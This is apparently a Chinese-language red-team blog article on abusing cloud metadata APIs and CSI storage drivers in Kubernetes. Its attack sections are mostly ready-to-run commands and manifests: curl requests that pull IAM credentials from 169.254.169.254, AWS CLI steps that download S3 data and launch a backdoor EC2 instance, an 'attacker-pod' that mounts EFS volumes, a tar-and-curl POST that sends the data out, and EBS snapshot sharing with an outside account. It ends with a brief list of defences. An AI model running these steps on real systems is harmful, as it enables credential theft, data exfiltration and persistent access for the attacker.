红队视角出发的k8s敏感信息收集——云原生集成与元数据滥用
针对 云原生集成与元数据滥用 的详细攻击视角分析,聚焦 云供应商 Metadata API 和 CSI/CSM 驱动漏洞 的利用方法
攻击链示例
代码语言:txt复制1. 攻击者通过容器逃逸进入 Pod →
2. 访问 Metadata API 窃取 IAM 角色凭证 →
3. 利用凭证发现公开的 EFS 存储卷 →
4. 挂载存储卷窃取数据库备份 →
5. 通过 EC2 API 创建后门实例建立持久化通道。
云供应商 Metadata API 攻击场景
目标:通过访问云平台元数据服务(如 AWS IMDSv1)窃取 IAM 角色凭证,横向渗透至云环境(如 S3 存储桶、EC2 实例)。
发现 Metadata API 端点
探测 Metadata API 地址
在云环境中,元数据服务(Metadata Service)为实例提供了访问其自身元数据的能力,例如启动时配置、安全组信息、IAM角色凭证等。然而,如果这些接口被恶意利用,则可能导致敏感信息泄露,进而引发更深层次的安全威胁,如横向扩展攻击。
对于AWS,元数据服务通常可通过固定的IP地址169.254.169.254访问。为了探测该API端点的存在并获取相关信息,可以使用以下命令:
代码语言:shell复制curl http://169.254.169.254/latest/meta-data/
此命令会尝试从当前运行的Kubernetes Pod或虚拟机中访问AWS的元数据服务,并列出可用的元数据项,例如AMI ID、IAM角色信息和安全组等。
响应示例通常如下:
代码语言:shell复制ami-id
iam/
security-groups
...
这表明可以从元数据服务中获取更多关于实例的具体信息。
识别高权限 IAM 角色
Kubernetes Pod被配置为具有访问云供应商元数据服务的权限,并且该Pod绑定到了一个IAM角色,那么确实可以通过访问元数据服务来提取临时的安全凭证。这些凭证可以用于访问云供应商提供的各种服务,如S3存储桶、EC2实例等。以下是如何执行这一过程的具体步骤。
首先,您需要获取当前实例(或Pod)所关联的IAM角色名称。这可以通过查询元数据服务来完成:
代码语言:shell复制curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
此命令将返回与实例关联的IAM角色名称,例如s3-reader-role。
一旦知道了IAM角色名称,就可以进一步请求临时安全凭证。使用以下命令:
代码语言:shell复制curl http://169.254.169.254/latest/meta-data/iam/security-credentials/s3-reader-role
这将返回一组临时凭证,包括AccessKeyId、SecretAccessKey和Token,例如:
代码语言:shell复制{
"AccessKeyId": "AKIAXXX",
"SecretAccessKey": "SECRETXXX",
"Token": "IQoJb3JpZ2luX2Vj..."
}
横向渗透至云环境
利用凭证访问云资源
使用从云供应商元数据服务获取的临时凭证来访问和操作云资源,如列出S3存储桶或下载敏感文件,是一种常见的攻击手段。以下是具体的操作步骤以及如何利用这些凭证通过AWS CLI进行操作。
首先,您需要将获取到的AccessKeyId、SecretAccessKey和SessionToken设置为环境变量:
代码语言:shell复制export AWS_ACCESS_KEY_ID=AKIAXXX
export AWS_SECRET_ACCESS_KEY=SECRETXXX
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2Vj...
确保替换AKIAXXX、SECRETXXX和IQoJb3JpZ2luX2Vj...为实际从元数据服务获取的值。
一旦设置了必要的环境变量,就可以使用AWS CLI命令来列出可用的S3存储桶:
代码语言:shell复制aws s3 ls
此命令将显示当前账户有权访问的所有S3存储桶列表。
如果您的目标是下载特定存储桶中的敏感文件,可以使用以下命令:
代码语言:shell复制aws s3 cp s3://private-bucket/config.yml .
这将尝试从名为private-bucket的S3存储桶中下载名为config.yml的文件,并将其保存到当前工作目录下。
创建后门实例
使用从元数据服务获取的临时凭证并通过AWS CLI创建新的EC2实例,可以被攻击者利用来在目标云环境中建立后门。以下是如何执行这一操作的具体命令示例及其解释。
要启动一个新的EC2实例,您可以使用aws ec2 run-instances命令,并指定所需的参数如AMI ID、实例类型和密钥对名称等。以下是具体命令:
代码语言:shell复制aws ec2 run-instances \
--image-id ami-0abcdef1234567890 \
--instance-type t2.micro \
--key-name attack-keypair
- --image-id ami-0abcdef1234567890:指定用于创建实例的Amazon Machine Image (AMI) 的ID。
- ---instance-type t2.micro:定义实例类型为t2.micro,这是一个常见的免费层级实例类型。
- ---key-name attack-keypair:指定与该实例关联的SSH密钥对名称,这允许您通过SSH访问新实例。
CSI/CSM 驱动漏洞攻击场景
目标:利用容器存储接口(CSI)的配置错误(如公开访问的云存储),挂载敏感数据或破坏存储资源。
发现 CSI 驱动配置
利用容器存储接口(CSI)驱动中的配置错误,攻击者可以尝试访问或破坏云存储资源。这类攻击可能包括未经授权的数据访问、数据篡改或拒绝服务攻击。因此,识别和纠正CSI驱动的潜在安全问题至关重要。
查看集群中的 StorageClass
要评估集群中是否存在可能被利用的CSI驱动配置错误,您可以首先检查现有的StorageClass资源。StorageClass定义了如何动态供应卷,并且通常包含与特定CSI驱动相关的参数。
执行以下命令以查看集群中的所有StorageClass及其详细信息:
代码语言:shell复制kubectl get storageclasses -o yaml
在输出中,您应该特别关注parameters字段,它包含了每个StorageClass的具体配置选项。例如,在使用AWS EFS(Elastic File System)作为后端存储时,可能会看到如下配置:
代码语言:shell复制parameters:
fileSystemId: fs-01234567
provisioningMode: efs-ap
这里,fileSystemId指定了EFS文件系统的ID,而provisioningMode则指定了卷的供给模式。
验证存储卷公开性
为了确保AWS Elastic File System (EFS) 的安全配置,您需要检查几个关键方面:文件系统的加密状态、吞吐量模式以及挂载目标的安全组设置。这些检查可以帮助识别潜在的安全风险,例如未加密的数据或过于宽松的网络访问控制。
使用以下命令来获取特定EFS文件系统的详细信息,包括其是否启用了加密及吞吐量模式:
代码语言:shell复制aws efs describe-file-systems --file-system-id fs-01234567
此命令将返回有关指定文件系统(fs-01234567)的信息,重点关注以下字段:
- Encrypted: 确认文件系统是否启用了加密。如果值为true,则表示数据在静态时被加密存储。
- ThroughputMode: 了解文件系统的吞吐量模式(如bursting或provisioned),这影响了文件系统的性能特性。
示例输出片段可能如下所示:
代码语言:shell复制{
"FileSystems": [
{
"OwnerId": "123456789012",
"CreationTime": "2025-01-01T12:00:00Z",
"FileSystemId": "fs-01234567",
"LifeCycleState": "available",
"Name": "MyEFS",
"NumberOfMountTargets": 2,
"SizeInBytes": {
"Value": 1234567890,
"Timestamp": "2025-02-01T12:00:00Z"
},
"PerformanceMode": "generalPurpose",
"Encrypted": true,
"ThroughputMode": "bursting",
...
}
]
}
接下来,您需要检查与该EFS文件系统关联的所有挂载目标的安全组设置,以确保它们没有开放给不必要的IP范围。使用以下命令列出所有挂载目标及其相关信息:
代码语言:shell复制aws efs describe-mount-targets --file-system-id fs-01234567
该命令将返回每个挂载目标的详细信息,包括其关联的安全组ID。然后,您可以进一步查询这些安全组的具体规则。例如,要查看某个安全组的入站规则:
代码语言:shell复制aws ec2 describe-security-groups --group-ids sg-abcdef01
特别注意检查是否有允许来自0.0.0.0/0(即任何IP地址)的流量的规则。如果存在这样的规则,并且没有适当的限制条件,则可能存在安全风险,因为这意味着任何人都可以尝试挂载您的EFS文件系统。
挂载公开存储卷
创建恶意 PVC 挂载存储
代码语言:shell复制apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: exfil-pvc
spec:
storageClassName: efs-sc
accessModes:
- ReadWriteMany
resources:
requests:
storage: 1Gi
这个配置试图创建一个名为exfil-pvc的PersistentVolumeClaim,它使用名为efs-sc的StorageClass,并请求1GiB的存储空间。ReadWriteMany访问模式允许该卷被多个节点同时读写。
挂载到攻击 Pod 窃取数据
代码语言:shell复制apiVersion: v1
kind: Pod
metadata:
name: attacker-pod
spec:
containers:
- name: busybox
image: busybox
command: ["sleep", "infinity"]
volumeMounts:
- name: exfil-volume
mountPath: /mnt/data
volumes:
- name: exfil-volume
persistentVolumeClaim:
claimName: exfil-pvc
这个配置试图创建一个名为attacker-pod的Pod,其中包含一个BusyBox容器,并将之前定义的exfil-pvc PersistentVolumeClaim挂载到容器内的/mnt/data路径。
数据窃取或破坏
代码语言:shell复制# 列出存储卷文件
ls /mnt/data
# 压缩并外传数据
tar czf /tmp/stolen-data.tar.gz /mnt/data
curl -X POST --data-binary @/tmp/stolen-data.tar.gz
- ls /mnt/data:列出挂载点/mnt/data下的所有文件。
- tar czf /tmp/stolen-data.tar.gz /mnt/data:将挂载点下的所有文件压缩成一个名为* stolen-data.tar.gz的压缩包,并保存在/tmp目录下。
- curl -X POST --data-binary @/tmp/stolen-data.tar.gz :通过HTTP POST请求将压缩的数据发送到攻击者控制的服务器()。
利用快照功能窃取数据
利用存储快照功能来窃取数据是一种隐蔽但严重的安全威胁。通过创建存储卷的快照并将该快照共享给外部账户,攻击者可以获取敏感数据的副本。
创建存储快照并共享
首先,使用以下命令为指定的EBS卷创建快照:
代码语言:shell复制aws ec2 create-snapshot --volume-id vol-0a1b2c3d4e5f67890
此命令会为vol-0a1b2c3d4e5f67890这个EBS卷创建一个快照,并返回快照ID(例如snap-0123456789abcdef0)。
接下来,使用以下命令将快照的创建卷权限授予攻击者的AWS账户ID(例如123456789012):
代码语言:shell复制aws ec2 modify-snapshot-attribute \
--snapshot-id snap-0123456789abcdef0 \
--attribute createVolumePermission \
--operation-type add \
--user-ids 123456789012
这将允许攻击者使用其自己的AWS账户ID从该快照创建新的EBS卷,从而可能访问原始卷中的所有数据。
总结
云原生集成极大扩展了 Kubernetes 的攻击面,防御需重点关注:
- 元数据隔离:禁用 IMDSv1,限制 Pod 访问 Metadata API。
- 存储最小化暴露:加密存储数据,严格限制网络访问策略。
- 持续监控:审计异常 IAM 角色调用和存储卷挂载行为。
通过纵深防御(加密、权限控制、网络隔离)可有效阻断云原生环境中的横向渗透路径。
发布评论